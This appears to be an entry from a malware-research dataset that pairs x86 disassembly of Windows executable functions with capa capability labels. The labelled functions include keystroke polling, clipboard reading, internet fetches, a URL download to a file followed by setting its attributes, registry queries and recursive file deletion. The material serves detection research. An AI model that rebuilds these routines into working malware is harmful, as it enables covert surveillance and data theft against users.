joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46a5ec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46a7d0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.0040415c
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46a7dc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a80c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46a673
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a818
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46a6b7
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46a82c
call fcn.00404468
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46a830
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a80c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46a715
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov edx, dword [ebp - 0xc]
mov eax, 0x46a864
call fcn.00404760
dec eax
jne 0x46a740
lea eax, [ebp - 0xc]
mov ecx, 0x12
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0xc]
mov eax, 0x46a880
call fcn.00404760
dec eax
jne 0x46a762
lea eax, [ebp - 0xc]
mov ecx, 8
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0x10]
mov eax, 0x46a894
call fcn.00404760
dec eax
jne 0x46a794
lea eax, [ebp - 0x10]
mov ecx, 0xe
mov edx, 1
call fcn.004046bc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46a8ac
call fcn.00404468
cmp dword [ebp - 0xc], 0
je 0x46a7a9
mov eax, ebx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00404468
jmp 0x46a7b5
mov eax, ebx
mov edx, 0x46a8b8
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a7d7
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404180
ret
Function at 0x46b084
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0xc], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46b1f9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
push 0
push 0
push 0
push 0
mov eax, dword [0x46f694]
call fcn.0040461c
push eax
call sub.wininet.dll_InternetOpenA
mov ebx, eax
test ebx, ebx
je 0x46b16f
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
test esi, esi
je 0x46b169
lea eax, [ebp - 8]
push eax
push 0x401
lea eax, [ebp - 0x40d]
push eax
push esi
call sub.wininet.dll_InternetReadFile
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x418]
lea edx, [ebp - 0x40d]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 8]
xor edx, edx
call fcn.0040467c
mov edx, dword [ebp - 0x414]
lea eax, [ebp - 0xc]
call fcn.00404424
cmp dword [ebp - 8], 0
jne 0x46b10c
push esi
call sub.wininet.dll_InternetCloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
lea eax, [ebp - 0x41c]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.0040467c
mov eax, dword [ebp - 0x41c]
mov edx, 0x46b210
call fcn.00404568
je 0x46b1b0
push 0x668a0
call sub.KERNEL32.DLL_Sleep_1
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0046b084
jmp 0x46b1cb
push edi
mov eax, dword [ebp - 0xc]
call fcn.0040441c
mov ecx, eax
sub ecx, 6
mov edx, 4
mov eax, dword [ebp - 0xc]
call fcn.0040467c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b200
lea eax, [ebp - 0x41c]
mov edx, 3
call fcn.00404180
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46b214
Capabilities:
Download url
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46b43c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, dword [0x46f69c]
mov edx, dword [0x470c60]
call fcn.00404468
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
mov esi, eax
push esi
call sub.KERNEL32.DLL__lopen
mov ebx, eax
cmp ebx, 0xffffffff
je 0x46b2d8
push 0x400
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.KERNEL32.DLL__lread
mov esi, eax
push 0x470c5c
lea eax, [ebp - 0x40c]
lea edx, [ebp - 0x405]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x40c]
mov ecx, esi
xor edx, edx
call fcn.0040467c
push ebx
call sub.KERNEL32.DLL__lclose
jmp 0x46b416
push dword [0x46f698]
push 0x46b454
call sub.KERNEL32.DLL_GetTickCount_1
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x41c]
call fcn.004083e0
mov eax, dword [ebp - 0x41c]
lea edx, [ebp - 0x418]
call fcn.0046afa0
push dword [ebp - 0x418]
lea eax, [ebp - 0x414]
mov edx, 3
call fcn.004044dc
mov eax, dword [ebp - 0x414]
lea edx, [ebp - 0x410]
call fcn.0046b084
mov edx, dword [ebp - 0x410]
mov eax, 0x470c5c
call fcn.004041b0
push 0
push esi
call sub.KERNEL32.DLL__lcreat
mov ebx, eax
mov eax, dword [0x470c5c]
call fcn.0040441c
push eax
mov eax, 0x470c5c
call fcn.00404674
lea edx, [ebp - 0x405]
pop ecx
call fcn.004029a8
mov eax, dword [0x470c5c]
call fcn.0040441c
push eax
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.KERNEL32.DLL__lwrite
push ebx
call sub.KERNEL32.DLL__lclose
mov dword [0x470e28], 0x1eee8fe
cmp byte [0x470c51], 0
je 0x46b416
push 0
push 0
lea eax, [ebp - 0x420]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x470c60]
call fcn.00404468
mov eax, dword [ebp - 0x420]
call fcn.0040461c
push eax
lea eax, [ebp - 0x424]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x46f698]
call fcn.00404468
mov eax, dword [ebp - 0x424]
call fcn.0040461c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 7
lea eax, [ebp - 0x428]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x470c60]
call fcn.00404468
mov eax, dword [ebp - 0x428]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b443
lea eax, [ebp - 0x428]
mov edx, 8
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46b8b4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff30
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46b930
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040415c
push 0xc9
lea eax, [ebp - 0xcd]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 4]
mov dl, byte [ebp - 0xcd]
call fcn.00404344
lea eax, [ebp - 4]
mov edx, 0x46b944
call fcn.00404424
mov dword [0x470e28], 0xd05
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0046b464
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b937
lea eax, [ebp - 4]
call fcn.0040415c
ret

Function at 0x46b958
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x46b9ea
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0040415c
push 0
call sub.user32.dll_OpenClipboard
push 1
call sub.user32.dll_GetClipboardData
mov ebx, eax
test ebx, ebx
je 0x46b9cf
push ebx
call sub.KERNEL32.DLL_GlobalLock
mov edx, eax
lea eax, [ebp - 4]
call fcn.00404354
mov eax, dword [ebp - 4]
call fcn.0040441c
cmp eax, 0xc8
jle 0x46b9bf
lea eax, [ebp - 4]
push eax
mov ecx, 0xc8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040467c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.004041b0
push ebx
call sub.KERNEL32.DLL_GlobalUnlock
call sub.user32.dll_CloseClipboard
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b9f1
lea eax, [ebp - 4]
call fcn.0040415c
ret

Function at 0x46b9f8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x46ba80
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.004047a8
push 0xffffffffffffffff
push 6
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
test eax, eax
jne 0x46ba3f
lea eax, [ebp - 4]
call fcn.0040415c
jmp 0x46ba5b
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004089bc
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, dword [0x46f6b8]
call fcn.00404468
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46ba87
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret
Function at 0x46ba8c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46bba5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.0040415c
lea eax, [ebp - 8]
call fcn.0040415c
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x46f6bc]
call fcn.0040461c
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
mov eax, dword [0x46f6c0]
call fcn.0040461c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46bb1f
lea eax, [ebp - 4]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
call fcn.0040441c
test eax, eax
je 0x46bb77
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
mov dl, byte [edx]
call fcn.00404344
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46bb77
lea eax, [ebp - 8]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bbac
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret

Function at 0x46bce8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x46bdae
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebx]
push eax
call sub.user32.dll_GetAsyncKeyState
and ax, 1
cmp ax, 1
jne 0x46bd86
mov eax, ebx
add eax, 0xffffffd0
sub eax, 0xa
jb 0x46bd2c
add eax, 0xfffffff9
sub eax, 0x1a
jb 0x46bd2c
add eax, 0xfffffffa
sub eax, 0x1a
jae 0x46bd5a
push dword [0x470c1c]
push 0x46bdc4
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404344
push dword [ebp - 4]
push 0x46bdd0
mov eax, 0x470c1c
mov edx, 4
call fcn.004044dc
jmp 0x46bd86
push dword [0x470c1c]
push 0x46bddc
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004082f4
push dword [ebp - 8]
push 0x46bde8
mov eax, 0x470c1c
mov edx, 4
call fcn.004044dc
inc ebx
cmp ebx, 0x100
jne 0x46bd00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bdb5
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret
Function at 0xcb6e55
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.00cb6ed4
jae 0xcb6e61
xor ecx, ecx
call fcn.00cb6ed4
jae 0xcb6e8b
xor eax, eax
call fcn.00cb6ed4
jae 0xcb6e9c
mov al, 0x10
call fcn.00cb6ed4
adc al, al
jae 0xcb6e7d
jne 0xcb6ec9
stosb byte es:[edi], al
jmp 0xcb6e62
call fcn.00cb6ee0
dec ecx
loop 0xcb6ea8
mov eax, ebp
call fcn.00cb6ede
jmp 0xcb6eca
lodsb al, byte [esi]
shr eax, 1
je 0xcb6ef0
adc ecx, 2
mov ebp, eax
jmp 0xcb6eca
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.00cb6ede
cmp eax, 0x7d00
jae 0xcb6ec8
cmp eax, 0x500
jae 0xcb6ec9
cmp eax, 0x7f
ja 0xcb6eca
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xcb6e62
pop ebp
ret 8
Function at 0x401210
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401229
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x40123d
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x40125e
cmp esi, eax
jae 0x401237
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401250
cmp esi, eax
jae 0x401237
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x4021f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov edx, dword [esp + 8]
or eax, 0xffffffff
test edx, edx
je 0x402220
mov ecx, dword [esp + 4]
push esi
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
mov edi, dword [esi*4 + 0x44e0e8]
shr eax, 8
xor eax, edi
inc ecx
dec edx
jne 0x402201
pop edi
pop esi
not eax
ret

Function at 0x402b90
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x43c468
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x1c]
mov eax, dword [esi]
mov ecx, dword [eax - 0x10]
mov edx, dword [ecx]
push edi
xor edi, edi
mov dword [esp + 8], edi
call dword [edx + 0x10]
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax]
mov edx, dword [eax - 0xc]
mov ecx, dword [esi]
mov esi, dword [ecx - 0xc]
push edx
push eax
push esi
push ecx
lea ecx, [esp + 0x30]
push ecx
mov dword [esp + 0x28], edi
call fcn.00402a90
mov esi, dword [esp + 0x34]
add esi, 0xfffffff0
push esi
call fcn.00402780
mov edi, dword [esp + 0x34]
add eax, 0x10
mov dword [edi], eax
add esp, 0x18
mov dword [esp + 0x14], 0xffffffff
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x402c22
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call dword [edx + 4]
mov ecx, dword [esp + 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x402dd0
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x43c4ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10c
mov eax, dword [0x48f710]
push ebp
push esi
push edi
mov dword [esp + 0x114], eax
mov esi, ecx
call fcn.0042e9c4
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0xc], eax
mov eax, dword [esi + 0x588]
push eax
xor ebp, ebp
push ebp
push str.SegNumber
push str.Main
mov dword [esp + 0x130], ebp
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov edi, eax
imul eax, eax, 0x108
push eax
mov dword [esp + 0x14], edi
call fcn.00432cca
add esp, 4
cmp edi, ebp
mov dword [esi + 0x58c], eax
jbe 0x402f41
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
xor edi, edi
lea esp, [esp]
push ebp
lea ecx, [esp + 0x14]
push str.Seg_d
push ecx
call fcn.00401930
mov eax, dword [esi + 0x588]
mov edx, dword [esi + 0x58c]
add esp, 0xc
push eax
mov eax, dword [esp + 0x14]
push 0xff
add edx, edi
push edx
push 0x43ef8a
push eax
push str.Main
call ebx
mov eax, dword [esi + 0x588]
mov edx, dword [esi + 0x58c]
push eax
push 0xff
lea ecx, [esp + 0x20]
push ecx
push 0x43ef8a
push str.StartAddr
add edx, edi
push edx
call ebx
push 0x10
lea eax, [esp + 0x1c]
push 0
push eax
mov byte [esp + 0x25], 0x30
call fcn.0041df48
mov ecx, dword [esi + 0x58c]
add esp, 0xc
mov dword [ecx + edi + 0x100], eax
mov eax, dword [esi + 0x588]
push eax
mov eax, dword [esi + 0x58c]
push 0xff
lea edx, [esp + 0x20]
push edx
push 0x43ef8a
push str.SegSize
add eax, edi
push eax
call ebx
push 0x10
lea ecx, [esp + 0x1c]
push 0
push ecx
mov byte [esp + 0x25], 0x30
call fcn.0041df48
mov edx, dword [esi + 0x58c]
add esp, 0xc
mov dword [edx + edi + 0x104], eax
mov eax, dword [esp + 0x14]
inc ebp
add edi, 0x108
cmp ebp, eax
jb 0x402e60
mov edi, eax
pop ebx
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov dword [esp + 0x120], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402f6a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x118]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x10c]
pop ebp
call fcn.0041d27e
add esp, 0x118
ret
Function at 0x407033
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x14
push esi
mov esi, ecx
cmp dword [esi + 8], 0xffffffff
je 0x407068
mov edx, dword [esi + 8]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0xc]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
test eax, eax
je 0x407071
mov eax, dword [esp + 8]
test eax, eax
jbe 0x407071
mov eax, dword [esi + 8]
push 0xa
push eax
call dword [sym.imp.KERNEL32.dll_PurgeComm]
xor eax, eax
pop esi
add esp, 0x14
ret 0xc
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x407068
mov eax, dword [esp + 0x20]
cmp eax, ecx
mov dword [esp + 4], 0
jbe 0x40708b
mov eax, ecx
mov edx, dword [esp + 0x1c]
push ebx
push edi
lea edi, [esi + 0x54]
push edi
lea ecx, [esp + 0x10]
push ecx
push eax
mov eax, dword [esi + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4070f2
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x3e5
jne 0x4070e7
mov ecx, dword [esp + 0x2c]
mov edx, dword [esi + 0x64]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 8]
push 0
lea eax, [esp + 0x10]
push eax
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x4070f2
call ebx
cmp eax, 0x3e4
je 0x4070f2
pop edi
pop ebx
xor eax, eax
pop esi
add esp, 0x14
ret 0xc
mov eax, dword [esp + 0xc]
pop edi
pop ebx
pop esi
add esp, 0x14
ret 0xc

Function at 0x407100
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push esi
mov esi, ecx
cmp dword [esi + 8], 0xffffffff
je 0x40716b
mov ecx, dword [esi + 8]
push 0
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
test eax, eax
je 0x407135
mov eax, dword [esp + 8]
test eax, eax
jbe 0x407135
mov edx, dword [esi + 8]
push 5
push edx
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov edx, dword [esp + 0x14]
lea eax, [esi + 0x68]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 8]
push ecx
mov ecx, dword [esi + 8]
push edx
push eax
push ecx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x407174
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x407174
xor eax, eax
pop esi
add esp, 8
ret 8
mov eax, dword [esp + 4]
pop esi
add esp, 8
ret 8

Function at 0x407180
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x7c]
test eax, eax
je 0x4071f1
mov byte [esi + 0x90], 0
mov eax, dword [esi + 8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetCommMask]
mov ecx, dword [esi + 0xa4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov edx, dword [esp + 8]
mov eax, dword [esi + 0x7c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4071cd
mov ecx, dword [esi + 0x7c]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
je 0x4071f1
mov edx, dword [esi + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [esi + 0x7c], 0
mov al, 1
pop esi
ret 4
xor al, al
pop esi
ret 4
Function at 0x409190
Capabilities:
Delete directory
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x43cbe6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x344
mov eax, dword [0x48f710]
push ebp
mov ebp, ecx
push edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x348], eax
call fcn.00414e43
mov edi, dword [esp + 0x35c]
push edi
lea eax, [esp + 0x1bc]
push str._s.
push eax
mov dword [esp + 0x360], 0
call fcn.0041e335
add esp, 0xc
push 0
lea ecx, [esp + 0x1bc]
push ecx
lea ecx, [esp + 0x18]
call fcn.00414ed6
test eax, eax
je 0x40930a
push esi
jmp 0x409210
lea ecx, [esp + 0x14]
call fcn.00414c24
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], eax
call fcn.00414e0a
test eax, eax
jne 0x4092fd
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x18]
call fcn.004150fe
mov esi, eax
mov eax, dword [esi]
mov edx, dword [eax - 4]
sub eax, 0x10
mov eax, dword [eax + 8]
mov ecx, 1
sub ecx, edx
sub eax, 0xc8
or eax, ecx
mov byte [esp + 0x358], 1
jge 0x40926d
push 0xc8
mov ecx, esi
call fcn.00401540
mov ecx, dword [esi]
lea edx, [esp + 0x2c]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x409273
mov byte [esp + 0x358], al
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4092a2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x14]
push 0x10
lea ecx, [esp + 0x18]
call dword [eax + 0x38]
test eax, eax
lea ecx, [esp + 0x2c]
push ecx
push edi
push str._s_s
je 0x4092df
lea edx, [esp + 0x100]
push edx
call fcn.0041e335
add esp, 0x10
lea eax, [esp + 0xf4]
push eax
mov ecx, ebp
call fcn.00409190
jmp 0x4092fd
lea edx, [esp + 0x290]
push edx
call fcn.0041e335
add esp, 0x10
lea eax, [esp + 0x284]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x409210
pop esi
lea ecx, [esp + 0x10]
call fcn.00414b54
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
pop edi
pop ebp
lea ecx, [esp + 8]
mov dword [esp + 0x34c], 0xffffffff
jne 0x409338
call fcn.00414e67
xor eax, eax
jmp 0x409342
call fcn.00414e67
mov eax, 1
mov ecx, dword [esp + 0x344]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x340]
call fcn.0041d27e
add esp, 0x350
ret 4